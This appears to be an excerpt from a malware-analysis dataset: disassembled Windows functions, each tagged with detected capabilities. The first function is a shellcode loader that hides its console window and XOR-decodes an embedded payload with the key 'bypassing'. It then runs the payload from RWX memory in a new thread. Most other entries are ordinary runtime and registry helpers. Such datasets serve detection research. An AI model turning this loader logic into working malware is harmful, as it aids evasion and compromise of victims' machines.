joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000149d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hide graphical window
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x62920
call fcn.140002710
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x62890], rax
mov rax, qword [rbp + 0x62890]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.bsi874opam7.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x62888], rax
cmp qword [rbp + 0x62888], 0
je 0x14000150e
mov eax, 0
jmp 0x1400016a5
call sym.oau1oyhs1sc
test eax, eax
je 0x1400016a0
mov qword [rbp + 0x62880], 0
mov ecx, 0x5f5e100
call sym.malloc
mov qword [rbp + 0x62880], rax
cmp qword [rbp + 0x62880], 0
je 0x1400016a0
mov rax, qword [rbp + 0x62880]
mov r8d, 0x5f5e100
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x62880]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x50]
lea rdx, str._13_
mov ecx, 0x3145d
mov r8, rcx
mov rcx, rax
call sym.memcpy
movabs rax, 0x6e69737361707962
mov qword [rbp + 0x6286e], rax
mov word [rbp + 0x62876], 0x67
mov dword [rbp + 0x6289c], 0
mov dword [rbp + 0x62898], 0
jmp 0x140001608
cmp dword [rbp + 0x6289c], 9
jne 0x1400015cc
mov dword [rbp + 0x6289c], 0
mov eax, dword [rbp + 0x62898]
cdqe
movzx edx, byte [rbp + rax - 0x50]
mov eax, dword [rbp + 0x6289c]
cdqe
movzx eax, byte [rbp + rax + 0x6286e]
xor edx, eax
mov eax, dword [rbp + 0x62898]
cdqe
mov byte [rbp + rax + 0x31410], dl
add dword [rbp + 0x6289c], 1
add dword [rbp + 0x62898], 1
mov eax, dword [rbp + 0x62898]
cmp eax, 0x3145c
jbe 0x1400015b9
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x3145d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x62878], rax
mov rax, qword [rbp + 0x62878]
mov rcx, rax
lea rax, [rbp + 0x31410]
mov edx, 0x3145d
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x62878]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call sym.oau1oyhs1sc
test eax, eax
jne 0x140001690
mov eax, 0
jmp 0x1400016a5
mov eax, 0
add rsp, 0x62920
pop rbp
ret

Function at 0x140001970
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140003d50
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003d84
cmp word [rcx], 0x5a4d
jne 0x140003d84
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003d84
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003d84
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003c90
test eax, eax
jne 0x140003da0
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003d00
test rax, rax
je 0x140003d95
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004555
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004450
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400043f0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400048c4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1409866d8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1409866d4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004912
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000490a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400049f9
inc ebx
add rax, 0x28
jmp 0x1400048ea
mov rcx, r12
call fcn.1400050f1
mov rbp, rax
test rax, rax
jne 0x140004931
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004860
movsxd rbx, ebx
mov rax, qword [0x1409866d8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.14000519f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1409866d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004993
mov rax, qword [0x1409866d8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004860
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400049f3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400049f3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1409866d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400049f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004860
inc dword [0x1409866d4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004e20
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140986740]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140986720]
test rbx, rbx
je 0x140004e6c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004e66
test eax, eax
jne 0x140004e66
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004e3e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140005020
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140005043
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140005043
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140005044
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000507e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140005075
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140005080
inc r8d
add rax, 0x28
jmp 0x14000505c
xor eax, eax
ret

Function at 0x1400050f1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140982710]
mov r8, rcx
mov rcx, r9
call fcn.140005020
test eax, eax
je 0x14000511d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140005044
xor eax, eax
add rsp, 0x28
ret
Function at 0x14147883b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14146c7c0]
jne 0x14147639e
rol rcx, 0x10
test cx, 0xffff
jne 0x14147639a
repz ret
ror rcx, 0x10
jmp 0x141478794
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1414705e0]
call qword [sym.imp.kernel32.dll_RtlCaptureContext]
mov rax, qword [0x1414706d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.kernel32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x141478819
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1414705e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.kernel32.dll_RtlVirtualUnwind
jmp 0x14147883b
mov rax, qword [rsp + 0x88]
mov qword [0x1414706d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x141470678], rax
mov rax, qword [0x1414706d8]
mov qword [0x141470550], rax
mov rax, qword [rsp + 0x90]
mov qword [0x141470660], rax
mov dword [0x141470540], 0xc0000409
mov dword [0x141470544], 1
mov rax, qword [0x14146c7c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14146c7c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1414705d8], eax
mov ecx, 1
call fcn.1414763a4
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14146f0e0]
call qword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1414705d8], 0
jne 0x1414788c2
mov ecx, 1
call fcn.1414763a4
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14147895c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14146c7c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.141473a5c
xor ebx, ebx
cmp qword [0x141470ab8], rbx
mov rdi, rax
jne 0x141478a6f
lea rcx, str.USER32.DLL
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x141478b46
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x141478b46
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x141470ab8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x141470ac0], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x141470ac8], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov r11, rax
mov qword [0x141470ad8], rax
test rax, rax
je 0x141478a66
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.kernel32.dll_EncodePointer]
mov qword [0x141470ad0], rax
jmp 0x141478a76
mov rax, qword [0x141470ad0]
jmp 0x141478a7d
mov rax, qword [0x141470ad0]
mov r11, qword [0x141470ad8]
cmp rax, rdi
je 0x141478ae4
cmp r11, rdi
je 0x141478ae4
mov rcx, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov rcx, qword [0x141470ad8]
mov rsi, rax
call qword [sym.imp.kernel32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x141478ae4
test rax, rax
je 0x141478ae4
call rsi
test rax, rax
je 0x141478ade
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x141478ade
test byte [rsp + 0x40], 1
jne 0x141478ae4
bts ebp, 0x15
jmp 0x141478b24
mov rcx, qword [0x141470ac0]
cmp rcx, rdi
je 0x141478b24
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x141478b24
call rax
mov rbx, rax
test rax, rax
je 0x141478b24
mov rcx, qword [0x141470ac8]
cmp rcx, rdi
je 0x141478b24
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x141478b24
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x141470ab8]
call qword [sym.imp.kernel32.dll_DecodePointer]
test rax, rax
je 0x141478b46
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x141478b48
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.141476384
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000f4b0
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x14006d0e0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.14002a240
mov r8d, 0x104
lea rdx, [rsp + 0x20]
lea rcx, [0x14004b810]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp eax, 0x104
jbe 0x14000f503
xor al, al
jmp 0x14000f553
xor eax, eax
lea rcx, [rbx + 0x10]
test rbx, rbx
lea rdx, [rsp + 0x20]
cmove rcx, rax
call fcn.14000de10
mov rcx, rax
lea rdx, str.Intel
call fcn.14000de10
mov rcx, rax
lea rdx, str.Logs
call fcn.14000de10
mov rcx, rax
lea rdx, str.IntelCPHS.log
call fcn.14000de10
xor edx, edx
mov rcx, rax
call fcn.1400084a0
mov al, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400271a0
add rsp, 0x240
pop rbx
ret
Function at 0x140013250
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rsi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14001327e
mov r8, rdx
mov rdx, qword [rdi]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x140014a90
cmp byte [0x14006f0a8], 0
mov qword [rsp + 0x30], rbx
jne 0x1400132d1
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400132c1
lea rdx, [0x14004c078]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x14006f0a0], rax
mov byte [0x14006f0a8], 1
jmp 0x1400132d8
mov rbx, qword [0x14006f0a0]
mov byte [0x14006f0a8], 1
jmp 0x1400132d8
mov rbx, qword [0x14006f0a0]
test rbx, rbx
je 0x140013308
mov rcx, rbx
call qword [fcn.14001e660]
mov r8d, dword [rdi + 8]
xor r9d, r9d
mov rcx, qword [rdi]
mov rdx, rsi
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp rax
mov rcx, qword [rdi]
mov rdx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
je 0x140014b07
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014b1b
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140014b1b
mov rcx, rax
call qword [fcn.14001e660]
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rsi
mov rcx, rbp
call rdi
jmp 0x140014b20
cmp dword [rcx + 8], 0
je 0x140014b1b
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x140014b20
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400147b0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x14006d0e0]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov rsi, rcx
mov qword [rsp + 0x70], rdx
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x50], ecx
mov edi, dword [rsi + 8]
mov qword [rsp + 0x58], rcx
or edi, 0x2001f
mov qword [rsp + 0x60], rcx
mov r9d, edi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x140014907
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140014833
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
and edi, 0x300
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x50], edi
test ebx, ebx
jne 0x140014907
xor edi, edi
mov dword [rsp + 0x40], 0x100
lea rax, [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rdi
lea r8, [rbp - 0x80]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400148df
nop word [rax + rax]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x48]
call fcn.1400147b0
mov ebx, eax
test eax, eax
jne 0x140014907
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rdi
lea r8, [rbp - 0x80]
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140014890
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400148f4
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], rdi
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
mov dword [rsp + 0x50], edi
call fcn.140013250
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140014917
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400271a0
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x290
pop rdi
pop rsi
pop rbp
ret
Function at 0x140014a90
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rsi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14001327e
mov r8, rdx
mov rdx, qword [rdi]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x140014a90
cmp byte [0x14006f0a8], 0
mov qword [rsp + 0x30], rbx
jne 0x1400132d1
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400132c1
lea rdx, [0x14004c078]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x14006f0a0], rax
mov byte [0x14006f0a8], 1
jmp 0x1400132d8
mov rbx, qword [0x14006f0a0]
mov byte [0x14006f0a8], 1
jmp 0x1400132d8
mov rbx, qword [0x14006f0a0]
test rbx, rbx
je 0x140013308
mov rcx, rbx
call qword [fcn.14001e660]
mov r8d, dword [rdi + 8]
xor r9d, r9d
mov rcx, qword [rdi]
mov rdx, rsi
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp rax
mov rcx, qword [rdi]
mov rdx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
je 0x140014b07
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014b1b
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140014b1b
mov rcx, rax
call qword [fcn.14001e660]
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rsi
mov rcx, rbp
call rdi
jmp 0x140014b20
cmp dword [rcx + 8], 0
je 0x140014b1b
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x140014b20
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140014e10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x14006d0e0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r15, r9
mov rsi, r8
mov rbx, rdx
xor r14d, r14d
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x70], r14
xor edx, edx
lea r8d, [r14 + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140014e9e
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140014e9e
call fcn.140012bb0
mov ebx, eax
jmp 0x140014fc6
mov r8, r15
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140014ebf
call fcn.140012bb0
jmp 0x140014fb5
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x140014ee2
call fcn.140012bb0
jmp 0x140014fb5
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x140014f04
mov ebx, 0x8007000e
jmp 0x140014fb7
mov ecx, eax
test eax, eax
je 0x140014f3c
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x140014f32
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x140014f3c
lea rcx, [rsp + 0x70]
call fcn.140012aa0
jmp 0x140014f46
mov ecx, 0x80070216
call fcn.140012de0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x140014f59
cmp qword [rsp + 0x70], 0
jne 0x140014f68
mov ebx, 0x8007000e
jmp 0x140014fb7
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x140014f92
call fcn.140012bb0
jmp 0x140014fb5
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], r14w
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140014c20
mov ebx, eax
test rdi, rdi
je 0x140014fc6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x140014fdd
lea rcx, [rsp + 0x70]
call fcn.140013370
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400271a0
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140015850
Capabilities:
Set registry value

Disassembly:
mov dword [rsp + 0x18], r8d
sub rsp, 0x38
mov rcx, qword [rcx]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x38
ret

Function at 0x140015890
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov r9, r8
mov r10, rdx
test r8, r8
jne 0x1400158a8
lea eax, [r8 + 0xd]
add rsp, 0x38
ret
xor r8d, r8d
mov rdx, r9
nop
or rax, 0xffffffffffffffff
inc rax
cmp word [rdx + rax*2], 0
jne 0x1400158b4
inc eax
lea rdx, [rdx + rax*2]
lea r8d, [r8 + rax*2]
cmp eax, 1
jne 0x1400158b0
mov rcx, qword [rcx]
mov rdx, r10
mov dword [rsp + 0x28], r8d
xor r8d, r8d
mov qword [rsp + 0x20], r9
lea r9d, [rax + 6]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x38
ret